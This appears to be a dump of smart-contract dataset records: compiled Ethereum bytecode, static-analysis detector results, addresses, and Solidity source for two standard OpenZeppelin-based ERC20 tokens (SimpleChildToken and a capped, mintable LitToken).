0x606060405236156101935763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a9578063095ea7b31461023957806318160ddd1461026c5780631c31f7101461028e57806323b872dd146102ac5780632981cceb146102e55780632c7ec2c214610306578063313ce5671461034a57806335b55d981461037057806338af3eed1461039c578063544736e6146103c857806359ba1dd5146103ec5780635cb0c16f1461042c578063679aefce1461044e5780636d5433e6146104815780636dd43d1f146104a957806370a08231146104c757806379ba5097146104f55780637ae2b5c7146105075780638da5cb5b1461052f57806394bf804d1461055b57806395d89b411461057c5780639bd334571461060c578063a9059cbb1461062e578063abf0661f14610661578063be9a655514610694578063d4ee1d90146106a6578063dd62ed3e146106d2578063e3d0799c14610706578063ea87963414610728578063f2fde38b146107b8578063f9cc2e66146107d6575b341561019b57fe5b6101a75b60006000fd5b565b005b34156101b157fe5b6101b96107eb565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024157fe5b610258600160a060020a0360043516602435610822565b604080519115158252519081900360200190f35b341561027457fe5b61027c61089f565b60408051918252519081900360200190f35b341561029657fe5b6101a7600160a060020a03600435166108a5565b005b34156102b457fe5b610258600160a060020a03600435811690602435166044356108f0565b604080519115158252519081900360200190f35b34156102ed57fe5b6101a7600160a060020a0360043516602435610a15565b005b341561030e57fe5b610258600160a060020a03600435811690602435811690604435906064359060843516610a66565b604080519115158252519081900360200190f35b341561035257fe5b61035a610c60565b6040805160ff9092168252519081900360200190f35b341561037857fe5b610380610c65565b60408051600160a060020a039092168252519081900360200190f35b34156103a457fe5b610380610c74565b60408051600160a060020a039092168252519081900360200190f35b34156103d057fe5b610258610c83565b604080519115158252519081900360200190f35b34156103f457fe5b610258600160a060020a036004358116906024358116906044359060643516610c8c565b604080519115158252519081900360200190f35b341561043457fe5b61027c610dd7565b60408051918252519081900360200190f35b341561045657fe5b61045e610ddd565b6040805163ffffffff938416815291909216602082015281519081900390910190f35b341561048957fe5b61027c600435602435610de5565b60408051918252519081900360200190f35b34156104b157fe5b6101a7600160a060020a0360043516610e00565b005b34156104cf57fe5b61027c600160a060020a0360043516610ef8565b60408051918252519081900360200190f35b34156104fd57fe5b6101a7610f17565b005b341561050f57fe5b61027c600435602435610fa7565b60408051918252519081900360200190f35b341561053757fe5b610380610fc2565b60408051600160a060020a039092168252519081900360200190f35b341561056357fe5b6101a7600435600160a060020a0360243516610fd1565b005b341561058457fe5b6101b9611030565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061457fe5b61027c611067565b60408051918252519081900360200190f35b341561063657fe5b610258600160a060020a036004351660243561106d565b604080519115158252519081900360200190f35b341561066957fe5b610258600160a060020a0360043516602435611148565b604080519115158252519081900360200190f35b341561069c57fe5b6101a76111cf565b005b34156106ae57fe5b610380611216565b60408051600160a060020a039092168252519081900360200190f35b34156106da57fe5b61027c600160a060020a0360043581169060243516611225565b60408051918252519081900360200190f35b341561070e57fe5b61027c611252565b60408051918252519081900360200190f35b341561073057fe5b6101b9611258565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107c057fe5b6101a7600160a060020a0360043516611299565b005b34156107de57fe5b6101a76004356112e4565b005b60408051808201909152601781527f53414e74696d656e74206e6574776f726b20746f6b656e000000000000000000602082015281565b60065460009060ff1615156108375760006000fd5b600160a060020a03338116600081815260046020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b5b92915050565b60055481565b600154600160a060020a0390811690331681146108c25760006000fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b60065460009060ff1615156109055760006000fd5b600160a060020a0384166000908152600360205260409020548290108015906109555750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b801561097a5750600160a060020a038316600090815260036020526040902054828101115b15610a0857600160a060020a03808416600081815260036020908152604080832080548801905588851680845281842080548990039055600483528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610a0c565b5060005b5b5b9392505050565b60075433600160a060020a03908116911614610a315760006000fd5b600160a060020a0382166000908152600360205260409020805482019055600a80548290039055600b8054820190555b5b5050565b600754600090819033600160a060020a03908116911614610a875760006000fd5b610a908561131c565b905084811115610a9c57fe5b600160a060020a038716600090815260036020526040902054859010801590610ade5750600160a060020a038616600090815260036020526040902054858101115b15610ba357600160a060020a03808816600081815260036020908152604080832080548b900390558a85168084528184208054888d030190556008548616845281842080548801905581519485529184019190915282018890526060820184905291851660808201527f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e91899189918991869189918b9060a08101835b60ff16815260200182815260200197505050505050505060405180910390a160019150610c54565b7f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e878787848760018a6040518088600160a060020a0316600160a060020a0316815260200187600160a060020a0316600160a060020a0316815260200186815260200185815260200184600160a060020a0316600160a060020a03168152602001836002811115610c3057fe5b60ff16815260200182815260200197505050505050505060405180910390a1600091505b5b5b5095945050505050565b600f81565b600754600160a060020a031681565b600854600160a060020a031681565b60065460ff1681565b60075460009033600160a060020a03908116911614610cab5760006000fd5b81600160a060020a031685600160a060020a031614158015610cf35750600160a060020a03808616600090815260046020908152604080832093861683529290522054839010155b9050801515610d89577f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e858585610d298761131c565b60408051600160a060020a0380871682528581166020830152918101849052606081018390529088166080820152879060029060009060a08101835b60ff16815260200182815260200197505050505050505060405180910390a1610dcc565b610d97858585600086610a66565b90508015610dcc57600160a060020a038086166000908152600460209081526040808320938616835292905220805484900390555b5b5b5b949350505050565b600b5481565b6001805b9091565b600081831015610df55781610df7565b825b90505b92915050565b6000805490811115610e125760006000fd5b600019600055600154600160a060020a039081169033168114610e355760006000fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385169081179091556000901115610eeb5782600160a060020a031663406a6f60306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b1515610ed957fe5b6102c65a03f11515610ee757fe5b5050505b5b5b5060008190555b5050565b600160a060020a0381166000908152600360205260409020545b919050565b600254600160a060020a039081169033168114610f345760006000fd5b600254600154604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b50565b600081831115610df55781610df7565b825b90505b92915050565b600154600160a060020a031681565b60065433600160a060020a039081166101009092041614610ff25760006000fd5b60065460ff16156110035760006000fd5b6005805483019055600160a060020a03811660009081526003602052604090208054830190555b5b5b5050565b60408051808201909152600381527f53414e0000000000000000000000000000000000000000000000000000000000602082015281565b600a5481565b60065460009060ff1615156110825760006000fd5b600160a060020a0333166000908152600360205260409020548290108015906110c45750600160a060020a038316600090815260036020526040902054828101115b1561113857600160a060020a03338116600081815260036020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001610898565b506000610898565b5b5b92915050565b60075460009033600160a060020a039081169116146111675760006000fd5b600160a060020a0383166000908152600360205260409020548290106111385750600160a060020a038216600090815260036020526040902080548290039055600a805482019055600b805482900390556001610898565b506000610898565b5b5b92915050565b60065460ff16156111e05760006000fd5b600154600160a060020a0390811690331681146111fd5760006000fd5b600554600b556006805460ff191660011790555b5b505b565b600254600160a060020a031681565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b60095481565b611260611332565b5060408051808201909152600381527f53414e000000000000000000000000000000000000000000000000000000000060208201525b90565b600154600160a060020a0390811690331681146112b65760006000fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b600154600160a060020a0390811690331681146113015760006000fd5b6127108211156113115760006000fd5b60098290555b5b5050565b6009546000906127109083025b0490505b919050565b604080516020810190915260008152905600a165627a7a723058208dd0649314020ceadea1aec9b52b8b59519a4f1e52d1053f565a3a00b0f915a60029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
8,503
0x8999f109f7becbd5a7500b1235dbf1f5fdad402a
pragma solidity ^0.4.21; // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ChildToken.sol /** * @title ChildToken * @dev ChildToken is the base contract of child token contracts */ contract ChildToken is StandardToken { } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/Refundable.sol /** * @title Refundable * @dev Base contract that can refund funds(ETH and tokens) by owner. * @dev Reference TokenDestructible(zeppelinand) TokenDestructible(zeppelin) */ contract Refundable is Ownable { event RefundETH(address indexed owner, address indexed payee, uint256 amount); event RefundERC20(address indexed owner, address indexed payee, address indexed token, uint256 amount); function Refundable() public payable { } function refundETH(address payee, uint256 amount) onlyOwner public { require(payee != address(0)); require(this.balance >= amount); assert(payee.send(amount)); RefundETH(owner, payee, amount); } function refundERC20(address tokenContract, address payee, uint256 amount) onlyOwner public { require(payee != address(0)); bool isContract; assembly { isContract := gt(extcodesize(tokenContract), 0) } require(isContract); ERC20 token = ERC20(tokenContract); assert(token.transfer(payee, amount)); RefundERC20(owner, payee, tokenContract, amount); } } // File: contracts/SimpleChildToken.sol /** * @title SimpleChildToken * @dev Simple child token to be generated by TokenFather. */ contract SimpleChildToken is ChildToken, Refundable { string public name; string public symbol; uint8 public decimals; function SimpleChildToken(address _owner, string _name, string _symbol, uint256 _initSupply, uint8 _decimals) public { require(_owner != address(0)); owner = _owner; name = _name; symbol = _symbol; decimals = _decimals; uint256 amount = _initSupply; totalSupply_ = totalSupply_.add(amount); balances[owner] = balances[owner].add(amount); Transfer(address(0), owner, amount); } }
0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461019f57806323b872dd146101c4578063313ce567146101ec57806348c44712146102155780634bd227661461023f578063661884631461026157806370a08231146102835780638da5cb5b146102a257806395d89b41146102d1578063a9059cbb146102e4578063d73dd62314610306578063dd62ed3e14610328578063f2fde38b1461034d575b600080fd5b34156100ea57600080fd5b6100f261036c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012e578082015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017457600080fd5b61018b600160a060020a036004351660243561040a565b604051901515815260200160405180910390f35b34156101aa57600080fd5b6101b2610476565b60405190815260200160405180910390f35b34156101cf57600080fd5b61018b600160a060020a036004358116906024351660443561047c565b34156101f757600080fd5b6101ff6105fc565b60405160ff909116815260200160405180910390f35b341561022057600080fd5b61023d600160a060020a0360043581169060243516604435610605565b005b341561024a57600080fd5b61023d600160a060020a0360043516602435610727565b341561026c57600080fd5b61018b600160a060020a03600435166024356107e4565b341561028e57600080fd5b6101b2600160a060020a03600435166108de565b34156102ad57600080fd5b6102b56108f9565b604051600160a060020a03909116815260200160405180910390f35b34156102dc57600080fd5b6100f2610908565b34156102ef57600080fd5b61018b600160a060020a0360043516602435610973565b341561031157600080fd5b61018b600160a060020a0360043516602435610a85565b341561033357600080fd5b6101b2600160a060020a0360043581169060243516610b29565b341561035857600080fd5b61023d600160a060020a0360043516610b54565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104025780601f106103d757610100808354040283529160200191610402565b820191906000526020600020905b8154815290600101906020018083116103e557829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561049357600080fd5b600160a060020a0384166000908152602081905260409020548211156104b857600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104eb57600080fd5b600160a060020a038416600090815260208190526040902054610514908363ffffffff610bef16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610549908363ffffffff610c0116565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461058f908363ffffffff610bef16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60065460ff1681565b600354600090819033600160a060020a0390811691161461062557600080fd5b600160a060020a038416151561063a57600080fd5b6000853b1191508161064b57600080fd5b5083600160a060020a03811663a9059cbb85856040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156106ba57600080fd5b5af115156106c757600080fd5b5050506040518051905015156106d957fe5b600354600160a060020a038087169186821691167fa1e4855d49b75f7254460c3e0a5572cde83f71d659655bcef5319969068d5a638660405190815260200160405180910390a45050505050565b60035433600160a060020a0390811691161461074257600080fd5b600160a060020a038216151561075757600080fd5b600160a060020a033016318190101561076f57600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f19350505050151561079d57fe5b600354600160a060020a0380841691167f94c0c9648f44e27ff77f68e457219cb803cf319b29a83403156a3ef21747101e8360405190815260200160405180910390a35050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561084157600160a060020a033381166000908152600260209081526040808320938816835292905290812055610878565b610851818463ffffffff610bef16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104025780601f106103d757610100808354040283529160200191610402565b6000600160a060020a038316151561098a57600080fd5b600160a060020a0333166000908152602081905260409020548211156109af57600080fd5b600160a060020a0333166000908152602081905260409020546109d8908363ffffffff610bef16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610a0d908363ffffffff610c0116565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610abd908363ffffffff610c0116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b6f57600080fd5b600160a060020a0381161515610b8457600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bfb57fe5b50900390565b81810182811015610c0e57fe5b929150505600a165627a7a72305820ea5e10b9edfb281ef886b678aeedb8eda7e9d9ac9674269caae380d68d00f9830029
{"success": true, "error": null, "results": {}}
8,504
0xc0906ffaf08cc17d64b625e71cb7d40914c6514f
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract LitToken is CappedToken { string public name = "LIT"; string public symbol = "LIT"; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); // HN: initial totalSupply is premined amount or total after mining? // premined = 50B // total supply = 75B // rewarded for mining = 25B uint256 public initialSupply = 50 * (10**9) * decimalFactor; // 50B uint256 public maxSupply = 75 * (10**9) * decimalFactor; // 75B function LitToken() public CappedToken(maxSupply) { totalSupply_ = initialSupply; balances[msg.sender] = initialSupply; Mint(msg.sender, initialSupply); Transfer(address(0), msg.sender, initialSupply); } /** * @dev Function to mint tokens. Only part of amount would be minted * if amount exceeds cap * * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintFull(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_ < cap); uint amountToMint; if (totalSupply_.add(_amount) >= cap) { amountToMint = cap.sub(totalSupply_); } else { amountToMint = _amount; } return MintableToken.mint(_to, amountToMint); } }
